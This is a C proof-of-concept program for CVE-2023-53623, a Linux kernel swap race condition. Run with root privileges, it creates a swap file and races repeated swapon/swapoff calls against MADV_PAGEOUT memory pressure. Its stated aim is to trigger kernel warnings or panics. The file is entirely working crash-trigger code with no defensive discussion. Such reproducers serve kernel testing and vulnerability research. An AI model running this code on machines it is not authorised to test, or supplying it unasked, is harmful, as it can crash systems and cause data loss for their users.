/*
* CVE-2023-53623 PoC - Linux Kernel mm/swap Race Condition
*
* This PoC triggers the race condition between swapoff and get_swap_pages()
* by concurrently performing swapon/swapoff operations and memory pageout.
*
* Compile: gcc -o poc_cve_2023_53623 poc_cve_2023_53623.c -lpthread
* Run: sudo ./poc_cve_2023_53623
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#include <signal.h>
#include <errno.h>
#include <sys/wait.h>
#define SWAP_SIZE_MB 256
#define NUM_THREADS 4
#define NUM_ITERATIONS 50
static volatile int keep_running = 1;
static char swapfile_path[] = "/tmp/cve_2023_53623_swapfile";
void signal_handler(int sig) {
keep_running = 0;
}
/* Create a swap file */
int create_swap_file(const char *path, size_t size_mb) {
int fd;
char cmd[512];
/* Remove existing swap file */
unlink(path);
/* Create swap file using dd */
snprintf(cmd, sizeof(cmd), "dd if=/dev/zero of=%s bs=1M count=%d 2>/dev/null", path, size_mb);
if (system(cmd) != 0) return -1;
/* Set proper permissions */
chmod(path, 0600);
/* Make swap */
snprintf(cmd, sizeof(cmd), "mkswap %s >/dev/null 2>&1", path);
if (system(cmd) != 0) return -1;
return 0;
}
/* Thread function: continuously do swapon/swapoff */
void* swap_toggle_thread(void* arg) {
int iter = 0;
char cmd[256];
while (keep_running && iter < NUM_ITERATIONS) {
/* swapon */
snprintf(cmd, sizeof(cmd), "swapon %s 2>/dev/null", swapfile_path);
system(cmd);
usleep(1000 + (rand() % 5000));
/* swapoff */
snprintf(cmd, sizeof(cmd), "swapoff %s 2>/dev/null", swapfile_path);
system(cmd);
usleep(1000 + (rand() % 5000));
iter++;
}
return NULL;
}
/* Thread function: trigger MADV_PAGEOUT to use swap */
void* pageout_thread(void* arg) {
long thread_id = (long)arg;
size_t alloc_size = 64 * 1024 * 1024; /* 64MB per thread */
while (keep_running) {
/* Allocate memory */
void *mem = mmap(NULL, alloc_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (mem == MAP_FAILED) continue;
/* Touch memory to make it allocated */
memset(mem, thread_id & 0xFF, alloc_size);
/* Trigger pageout to swap */
if (madvise(mem, alloc_size, MADV_PAGEOUT) != 0) {
munmap(mem, alloc_size);
continue;
}
usleep(5000 + (rand() % 10000));
munmap(mem, alloc_size);
}
return NULL;
}
int main(int argc, char *argv[]) {
pthread_t threads[NUM_THREADS * 2];
printf("[*] CVE-2023-53623 PoC - Linux Kernel mm/swap Race Condition\n");
printf("[*] Setting up swap file...\n");
if (create_swap_file(swapfile_path, SWAP_SIZE_MB) != 0) {
fprintf(stderr, "[-] Failed to create swap file. Need root privileges.\n");
return 1;
}
printf("[+] Swap file created: %s (%d MB)\n", swapfile_path, SWAP_SIZE_MB);
printf("[*] Starting concurrent swapon/swapoff and MADV_PAGEOUT operations...\n");
printf("[*] Check dmesg for WARNING/panic messages.\n\n");
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
/* Create swapon/swapoff threads */
for (int i = 0; i < NUM_THREADS; i++) {
if (pthread_create(&threads[i], NULL, swap_toggle_thread, NULL) != 0) {
fprintf(stderr, "[-] Failed to create swap thread %d\n", i);
return 1;
}
}
/* Create pageout threads */
for (int i = 0; i < NUM_THREADS; i++) {
if (pthread_create(&threads[NUM_THREADS + i], NULL, pageout_thread, (void*)(long)i) != 0) {
fprintf(stderr, "[-] Failed to create pageout thread %d\n", i);
return 1;
}
}
/* Wait for threads to complete */
for (int i = 0; i < NUM_THREADS * 2; i++) {
pthread_join(threads[i], NULL);
}
/* Cleanup */
printf("\n[*] Cleaning up...\n");
char cmd[256];
snprintf(cmd, sizeof(cmd), "swapoff %s 2>/dev/null", swapfile_path);
system(cmd);
unlink(swapfile_path);
printf("[*] Done. Check dmesg for kernel warnings or panics.\n");
return 0;
}